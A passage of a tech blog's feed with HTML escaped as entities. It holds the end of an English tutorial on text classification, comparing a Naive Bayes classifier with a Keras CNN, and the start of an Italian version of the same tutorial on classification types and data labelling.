class=&quot;mtk12&quot;&gt;verbose&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;mode&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;auto&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;baseline&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;restore_best_weights&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;history = model.fit(np.array(X_train), np.array(Y_train),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;              &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;batch_size&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=batch_size,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;              &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;epochs&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=epochs,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;            &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;validation_split&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;callbacks&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = [callback])&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 8 - Model training and evaluation&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;The model can also be saved in this case and reused where necessary. And just as with Scikit Learn it is possible
implement an end-to-end approach to avoid having to carry out transformations on the input every time. One possible strategy is
present on the &lt;a href=&quot;https://keras.io/examples/nlp/text_classification_from_scratch/&quot;&gt;&lt;em&gt;documentation&lt;/em&gt;&lt;/a&gt; by Tensorflow Keras.&lt;/p&gt;&lt;p&gt;For further information see the associated notebook on the &lt;a href=&quot;https://github.com/smclab/blog-nlp&quot;&gt;&lt;em&gt;Github&lt;/em&gt;&lt;/a&gt; repository.&lt;/p&gt;&lt;h2 id=&quot;3-evaluations-and-comparisons&quot;&gt;3. Evaluations and comparisons&lt;/h2&gt;&lt;p&gt;Which of the two approaches is the best? Which achieves the best level of accuracy?&lt;/p&gt;&lt;p&gt;There are several metrics and evaluation approaches that can be used to clarify this. In the case of textual classification, and
more generally in the classification approaches, &lt;a href=&quot;https://en.wikipedia.org/wiki/Accuracy_and_precision&quot;&gt;&lt;strong&gt;Accuracy&lt;/strong&gt;&lt;/a&gt;,
&lt;a href=&quot;https://en.wikipedia.org/wiki/Precision_and_recall&quot;&gt;&lt;strong&gt;Precision&lt;/strong&gt;&lt;/a&gt;,
&lt;a href=&quot;https://en.wikipedia.org/wiki/Precision_and_recall&quot;&gt;&lt;strong&gt;Recall&lt;/strong&gt;&lt;/a&gt;,
&lt;a href=&quot;https://en.wikipedia.org/wiki/F-score&quot;&gt;&lt;strong&gt;F1-score&lt;/strong&gt;&lt;/a&gt; are fundamental metrics to calculate and analyze.
Another always very useful tool is the
&lt;a href=&quot;https://en.wikipedia.org/wiki/Confusion_matrix&quot;&gt;&lt;strong&gt;confusion matrix&lt;/strong&gt;&lt;/a&gt;, which allows you to visualize false positives and negatives.&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s see the results of the training through the classification reports produced in the evaluation phase.
These reports show precision, recall, accuracy, and other metrics in a single table, with focus on both
classes and overall performance.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:430px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/97a068490d6c18353e968b4154742e17/05ed2/nb_report.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:61%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;245\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20245\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M82%2014l-1%204-1%203v1l1%207-1%207v1l1%207-1%206v1l1%203%201%203%20124-1h125V14l-125-1-124%201m265%20116l-1%2077v9h10v-69c0-56-1-88-2-80l-2%201-3%201-1-2-1%2063M164%2079l1%207H82v3l-1%204v15l1%204v3h82v14H81v4c1%202%200%203-1%203v1l1%204%201%203h82v13h166l1-14v-14h-83l-1-7v-7h84V86h-84V72h-83v7M82%20187v4c0%202%200%203-2%204v1c2%200%202%201%202%203v3h249v-15l-125-1-124%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/97a068490d6c18353e968b4154742e17/c85cb/nb_report.webp 300w,/static/97a068490d6c18353e968b4154742e17/866c5/nb_report.webp 430w&quot; sizes=&quot;(max-width: 430px) 100vw, 430px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/97a068490d6c18353e968b4154742e17/5a46d/nb_report.png 300w,/static/97a068490d6c18353e968b4154742e17/05ed2/nb_report.png 430w&quot; sizes=&quot;(max-width: 430px) 100vw, 430px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 7 - Report Bayesian classifier&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/97a068490d6c18353e968b4154742e17/05ed2/nb_report.png&quot; title=&quot;Figura 7 - Report Bayesian classifier&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 7 - Report Bayesian classifier&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:405px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ee28f6763592300e9f1461b637a24521/1d180/conv1d_report.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:62.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;249\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20249\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M77%2012v4c1%201%200%202-1%202v1c2%201%202%2013%200%2013v1l2%207c0%206%200%207-2%207v1c1%200%202%201%202%203v2h264V10H210C93%2010%2078%2010%2077%2012m290%2058c0%202-1%202-3%202l-4%201-1%2077v76h10v-74a2261%202261%200%2000-2-82M78%2085c0%203%200%204-2%204v1c2%201%202%202%202%207%200%206%200%207-2%207v1c1%200%202%201%202%203v2h88v15H78v4c0%203%200%204-2%204v1c2%200%202%2012%200%2013v1c1%200%202%201%202%203v3h87v13H78v4c0%203%200%204-2%204v1l2%204v2h264v-57H167v-14h65l87-1h23V81H78v4m0%20115c0%203%200%204-2%204v1c2%200%202%201%202%203v3h264v-15H78v4\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/ee28f6763592300e9f1461b637a24521/c85cb/conv1d_report.webp 300w,/static/ee28f6763592300e9f1461b637a24521/00c35/conv1d_report.webp 405w&quot; sizes=&quot;(max-width: 405px) 100vw, 405px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/ee28f6763592300e9f1461b637a24521/5a46d/conv1d_report.png 300w,/static/ee28f6763592300e9f1461b637a24521/1d180/conv1d_report.png 405w&quot; sizes=&quot;(max-width: 405px) 100vw, 405px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 8 - Report CNN&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/ee28f6763592300e9f1461b637a24521/1d180/conv1d_report.png&quot; title=&quot;Figura 8 - Report CNN&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 8 - Report CNN&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;For this task the two classifiers have very similar performances as we can see. Preform the slightly better
Bayesian classifier. But it&amp;#x27;s not always like this. &lt;br/&gt;&lt;/p&gt;&lt;p&gt;Convolutional neural networks, for example, prove to be very powerful when the classification depends on very identifying features. To
example let&amp;#x27;s imagine we want to classify business documents with respect to the customer. Information such as the customer&amp;#x27;s name rather than VAT number
they are very useful information to understand which customer the document refers to. In cases like these, neural networks achieve results
of very high accuracy. &lt;br/&gt;
The Bayesian Classifiers, on the other hand, prove to be very accurate in the vast majority of cases. Even if they don&amp;#x27;t always reach the levels of accuracy
of convolutional neural networks, their strength is to return very significant confidence values ​​associated with the classification, and with
well-defined thresholds. This happens because the Bayesian Classifier is a probabilistic model. &lt;br/&gt;&lt;/p&gt;&lt;p&gt;Neural networks also return a confidence value associated with the classification, which, however, cannot be considered entirely a value
probabilistic, as it is the highlight of the application of a &lt;a href=&quot;https://en.wikipedia.org/wiki/Softmax_function&quot;&gt;&lt;strong&gt;Softmax&lt;/strong&gt;&lt;/a&gt;
to the output layer of the network. So in fact it should be considered as a transposition
in the space of probabilities of the result produced by the network. For these reasons, the confidence value must be interpreted differently and not
always manages to express the desired differences.&lt;/p&gt;&lt;h1 id=&quot;conclusions&quot;&gt;Conclusions&lt;/h1&gt;&lt;p&gt;Summarizing the textual classification allows us to catalog our textual contents with respect to characteristics of different types.
The ability to group textual content in an automatic and intelligent way can represent a considerable added value for a company for example.
Think of a management software that allows the filing of corporate documents of various kinds in separate spaces; through an instrument
text classification based on Machine Learning, you can automatically catalog the document in correct space, based on customer rather than type.
Another example can be a support system for CSS. Similarly to what has been done in the examples seen, they can be classified automatically
incoming tickets based on category or urgency to help in the task of assigning tickets to the relevant departments.&lt;/p&gt;&lt;p&gt;So what are you waiting for? Take advantage of the potential offered by Machine Learning to automatically classify and extract information from the text in order to
make your application smarter.
Have fun with the notebooks on the Github repository to test the algorithms seen in the examples and also other algorithms
such as Support Vector Machines or LSTM networks. &lt;br/&gt;
Then reuse these algorithms to build your own text classification models to use in support of your application.&lt;/p&gt;&lt;p&gt;In this article, only some of the most relevant topics regarding textual classification have been cited.
Kamran Kowsari studied all the aspects related to this task through a very complete paper, explaining in an excellent way
advantages and disadvantages. This is a treatment that touches on many aspects that concern not only the task of textual classification, but in general
the whole world of Natural Language Processing. If you are into NLP you can&amp;#x27;t miss it.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Referenced Paper&lt;/strong&gt;: Kowsari, K., Meimandi, K. J., Heidarysafa,
M., Mendu, S., Barnes, L. E., &amp;amp; Brown, D. E. (2019). &lt;a href=&quot;https://www.mdpi.com/2078-2489/10/4/150&quot;&gt;&lt;em&gt;Text Classification Algorithms: A Survey&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Medium Article&lt;/strong&gt;: &lt;a href=&quot;https://medium.com/text-classification-algorithms/text-classification-algorithms-a-survey-a215b7ab7e2d&quot;&gt;&lt;em&gt;Text Classification Algorithms: A Survey&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk15 { color: #C586C0; }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk8 { color: #CE9178; }
  .default-dark .mtk3 { color: #6A9955; }
  .default-dark .mtk10 { color: #4EC9B0; }
  .default-dark .mtk4 { color: #569CD6; }
  .default-dark .mtk11 { color: #DCDCAA; }
  .default-dark .mtk12 { color: #9CDCFE; }
  .default-dark .mtk7 { color: #B5CEA8; }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[Classificazione Testuale attraverso il Machine Learning]]></title><link>https://techblog.smc.itnlp-text-clf</link><guid isPermaLink="false">https://techblog.smc.itnlp-text-clf</guid><pubDate>Mon, 21 Dec 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Questo articolo fa parte della serie dedicata ai più rilevanti task di
&lt;a href=&quot;https://it.wikipedia.org/wiki/Elaborazione_del_linguaggio_naturale&quot;&gt;&lt;strong&gt;Natural Language Processing&lt;/strong&gt;&lt;/a&gt;.
Approfondisci anche gli altri partendo dal &lt;a href=&quot;https://techblog.smc.it/it/2020-12-11/nlp-ner&quot;&gt;primo articolo&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Inoltre per un&amp;#x27;introduzione sugli aspetti di base in ambito Machine Learning leggere
l&amp;#x27;articolo &lt;a href=&quot;https://techblog.smc.it/it/2020-05-25/machine-learning-industry&quot;&gt;&lt;strong&gt;Machine learning  e applicazioni per l&amp;#x27;industria&lt;/strong&gt;&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;h1 id=&quot;classificazione-testuale&quot;&gt;Classificazione Testuale&lt;/h1&gt;&lt;p&gt;In questo articolo viene trattato il task della &lt;a href=&quot;https://it.wikipedia.org/wiki/Text_categorization&quot;&gt;classificazione testuale&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Con classificazione testuale si fa riferimento, appunto, all&amp;#x27;utilizzo di approcci di classificazione di tipo
&lt;a href=&quot;https://it.wikipedia.org/wiki/Apprendimento_supervisionato&quot;&gt;&lt;em&gt;supervisionato&lt;/em&gt;&lt;/a&gt;, con
l&amp;#x27;obiettivo di associare contenuti testuali a caratteristiche e classi definite a priori.&lt;br/&gt;
Esempi di classificazione testuale sono:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Sentiment Analysis&lt;/strong&gt;: classificare ad esempio recensioni rispetto al sentiment(negativo e positivo)&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Ticket Classification&lt;/strong&gt;: associare ticket di supporto alla categoria di riferimento, piuttosto che alla classe di urgenza&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Document Classification e Tagging&lt;/strong&gt;: classificare contenuti testuali associandoli a una o più classi&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Queste sono solo alcune delle possibili applicazioni realizzabili tramite la classificazione testuale. Rientrano di fatto in questo
campo tutte le applicazioni che consistono nel classificare e associare contenuti testuali rispetto
a un insieme di etichette o classi definito a priori.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:523px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/3b82047389f2c08b8a2412e082dd9c65/3e286/class_bin.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:64.66666666666666%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;259\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20259\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M301%2040c-3%204-3%2030%200%2032%203%203%2034%203%2036%200%202-2%202-29-1-32-2-3-32-3-35%200m4%2016v13h27V43h-27v13m10-7c-1%203-2%205-4%206-3%201-3%202-3%206s1%204%205%205%2013%200%2013-1l-4-1-3-1h4c5%200%205-2%200-2l-4-1%205-1%204-1-4-1-5-1h3c5%200%205-2%200-3-3%200-3%200-3-4%200-5-2-5-4%200m1%2036v5h-11v7h11v6c0%205%200%205%203%205%202%200%202%200%202-5v-6h6c5%200%206-1%206-3%200-3-1-4-6-4h-6v-6c0-5%200-5-2-5-3%200-3%200-3%206m-25%2018c-3%201-4%203-2%203s-10%209-29%2022a230%20230%200%2000-14%2010l-1-11v-12H130v25l-4-2c-5-2-6-3-6%200l-10%201H99v-33H19v35l1%2035h79v-33h11c10%200%2011%200%2010%202%200%203%202%203%206%200s4-3%204%2010v12h115v-23l5%203a316%20316%200%200121%2013c10%205%2020%2013%2019%2013-4%201-1%203%204%203%206%200%206%200%203-6-2-4-4-5-4-2a1094%201094%200%2000-39-23c-7-4-7-4-3-7l7-4a256%20256%200%200129-21c4-3%206-4%206-2%201%202%202%201%205-4l2-5h-3l-6%201m15%2080v4h24v-9h-24v5m-5%2012c-2%202-2%204-2%2017%200%2019-1%2018%2020%2018%2020%200%2019%201%2019-18%200-20%201-19-19-19-15%200-16%200-18%202m4%2017l1%2012h26v-24h-27v12m4-10l-1%205c0%204%200%205%202%205l4%206c3%206%205%207%205%201%200-4%200-4%204-4l4-1v-8l-4-1h-4l3-1c3%200%204-1%204-2s-16-2-17%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/3b82047389f2c08b8a2412e082dd9c65/c85cb/class_bin.webp 300w,/static/3b82047389f2c08b8a2412e082dd9c65/210f1/class_bin.webp 523w&quot; sizes=&quot;(max-width: 523px) 100vw, 523px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/3b82047389f2c08b8a2412e082dd9c65/5a46d/class_bin.png 300w,/static/3b82047389f2c08b8a2412e082dd9c65/3e286/class_bin.png 523w&quot; sizes=&quot;(max-width: 523px) 100vw, 523px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 1 - Classificazione binaria: Sentiment Analysis&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/3b82047389f2c08b8a2412e082dd9c65/3e286/class_bin.png&quot; title=&quot;Figura 1 - Classificazione binaria: Sentiment Analysis&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 1 - Classificazione binaria: Sentiment Analysis&lt;/figcaption&gt;
  &lt;/figure&gt;   &lt;p&gt;In relazione agli esempi elencati possiamo raccogliere i task di classificazione testuale in tre diverse tipologie:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Classificazione binaria&lt;/strong&gt;: il numero di classi/etichette a cui vengono associati i contenuti è uguale a due&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Classicazione multiclasse&lt;/strong&gt;: il numero di classi/etichette a cui vengono associati i contenuti è uguale a n, con n &amp;gt; 2&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Classicazione multiclasse multilabel&lt;/strong&gt;: classificazione di tipo multiclasse dove ogni contenuto può essere associato a più di una classe, e quindi
avere più di un&amp;#x27;etichetta&lt;/li&gt;&lt;/ul&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:674px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/9a722eef46509af1d8fc7eb94aeff424/fdaf8/multiclass.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:60%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;240\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20240\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M151%2051h3v96h-3l-3%201c1%202%206%201%208%200l1-24%201-23%2011-1c9%200%209%200%209%202v2l4-2%204-2v31h61v-14l1-14a276%20276%200%200119%2025c0%201%204%203%205%202%201%200%200-5-2-5l-4-4-8-9c-5-6-7-10-3-7l7%205c3%201%205%203%205%204l3%201c2%200%202%200%202-2l-1-2-2-1-10-4-8-5%208-1%208%201c1%201%205-1%205-2s-4-3-5-2l-8%201h-8l3-2c8-6%2015-9%2015-8%200%202%203-2%203-4l-2-1-3%201c0%201-3%204-10%208-6%203-6%203%201-5a384%20384%200%200014-19c-1-1-5%201-5%203%201%201-5%209-16%2021l-4%205V67h-61v16c0%2016%200%2017-4%2013-3-1-4-1-4%201l-10%201h-11V50h-5c-3%200-4%200-1%201M88%2088v18l6-1%207-1h3l4-1c1-3%205-4%205-2s2%204%207%204l8%201h4V70H88v18m0%2021v28h4c4%200%204%200%204-3v-3l1%203c1%203%201%203%201-2v-5l1%205c1%204%202%205%203%205v-1l1-2c1-1%201-1%201%201l1%202c2%200%201-4-1-4l-1-4v-2l1%202%203%203%201%203%201%203h23v-30h-22l-22%201m102%2033v8c1%202%201%202-1%202l-1%201c1%201%200%202-4%201h-4v14c0%2011%201%2015%202%2016s1%201%201-2l-2-15v-11h13v9l-1%2014v6h-4c-4%200-5%200-4%203%200%202%204%203%204%201h37c3%201%203%200-1-1l-6-5-7-5c-2-2-2-4%201-4l11%208%203%201-9-8c-1-1%203-1%2020-1l32-1c12-1%2012-1%2012%205l1%205h-16l-28%201c-12%200-15%201-9%203l2%202%203%201%202%201h-1l-5%203-3%203%205%203c5%203%205%203%209%202l3-2%205-4c4-3%204-4%202-5h-1c1%202-4%206-9%208-3%202-4%202-7%200-6-3-4-7%202-6s8-2%205-5c-2-2%202-2%205%200l21%201h23l1-2c0-2-1-2-4-2h-4l-1-13-1-14%207-1c6-1%207-1%2012%201s11%202%2015-1c6-5%207-11%201-11l-4-2c-2-1-2-1-6%204-2%202-2%202-6%201l-12-4-8-2a6376%206376%200%2001-90-1m-110%205c0%206%201%207%204%205h4c5%204%2013%205%2017%201h2c1%202%209%205%2011%205l6-2%204-2%204%203c4%205%206%205%206%202%201-11%200-13-7-10h-4l-5-2c-4-2-10-1-14%202-1%201-1%201-2-1s-6-5-9-5l-6%203-4%202-4-3-3-3v5m133-4v4l-1-1-3-1-1-1-3-1c-4%200-5%202-2%204h4c2-2%203%200%201%202l-2%203h2l7-1%2010-3h10c1%201%201%200%201-2v-3h-23m26%202c0%202%200%203%204%203l7%203c4%201%206%201%2013-2l6-2%205-3-18-1-17-1v3m28%2021l-19%203c-6%200-9%201-9%202-1%202%202%202%2012%201l24-1h5v-3c0-5%200-5-13-2m-175%202c0%202-1%202-4%202h-4v32h52v-35h-22l-22%201m101%207v5l1%203h23l-4-2-5-4-1-2-1-1c0-3-12-2-13%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/9a722eef46509af1d8fc7eb94aeff424/c85cb/multiclass.webp 300w,/static/9a722eef46509af1d8fc7eb94aeff424/e88ff/multiclass.webp 600w,/static/9a722eef46509af1d8fc7eb94aeff424/853dc/multiclass.webp 674w&quot; sizes=&quot;(max-width: 674px) 100vw, 674px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/9a722eef46509af1d8fc7eb94aeff424/5a46d/multiclass.png 300w,/static/9a722eef46509af1d8fc7eb94aeff424/0a47e/multiclass.png 600w,/static/9a722eef46509af1d8fc7eb94aeff424/fdaf8/multiclass.png 674w&quot; sizes=&quot;(max-width: 674px) 100vw, 674px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 2 - Classificazione multiclasse: Diagnosi mediche&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/9a722eef46509af1d8fc7eb94aeff424/fdaf8/multiclass.png&quot; title=&quot;Figura 2 - Classificazione multiclasse: Diagnosi mediche&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 2 - Classificazione multiclasse: Diagnosi mediche&lt;/figcaption&gt;
  &lt;/figure&gt;   &lt;p&gt;Per affrontare un task di classificazione testuale, a prescindere dalla tipologia di classificazione,
è necessario svolgere tendenzialmente questi tre passi:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;etichettare i dati&lt;/strong&gt;: costruire un training set di contenuti testuali etichettati con caratteristiche rispetto alle quali si vuole svolgere la classificazione&lt;/li&gt;&lt;li&gt;&lt;strong&gt;trasformare e elaborare il testo&lt;/strong&gt;: i contenuti testuali necessitano sia di una fase di preprocessing, necessaria per porre il contenuto testuale in
una forma più adatta al task da svolgere, sia di una fase di trasformazione dei contenuti per renderli leggibili e analizzabili dagli algoritmi
di machine learning utilizzati&lt;/li&gt;&lt;li&gt;&lt;strong&gt;addestramento del modello&lt;/strong&gt;: la fase vera e propria dell&amp;#x27;addestramento del modello, tramite un qualche algoritmo di riferimento&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Vediamo nelle sezioni successive come realizare tutto ciò.&lt;/p&gt;&lt;h1 id=&quot;etichettatura-dei-dati&quot;&gt;Etichettatura dei dati&lt;/h1&gt;&lt;p&gt;La fase di etichettatura dei dati risulta fondamentale per poter addestrare un modello di Machine Learning per la classificazione testuale.
Essendo un approccio di tipo supervisionato, senza dati etichettati non si può realizzare nulla in tal senso.&lt;/p&gt;&lt;p&gt;Può capitare che si voglia realizzare applicazioni per le quali si è già in possesso di dati etichettati. Questo perchè si possiede già uno storico
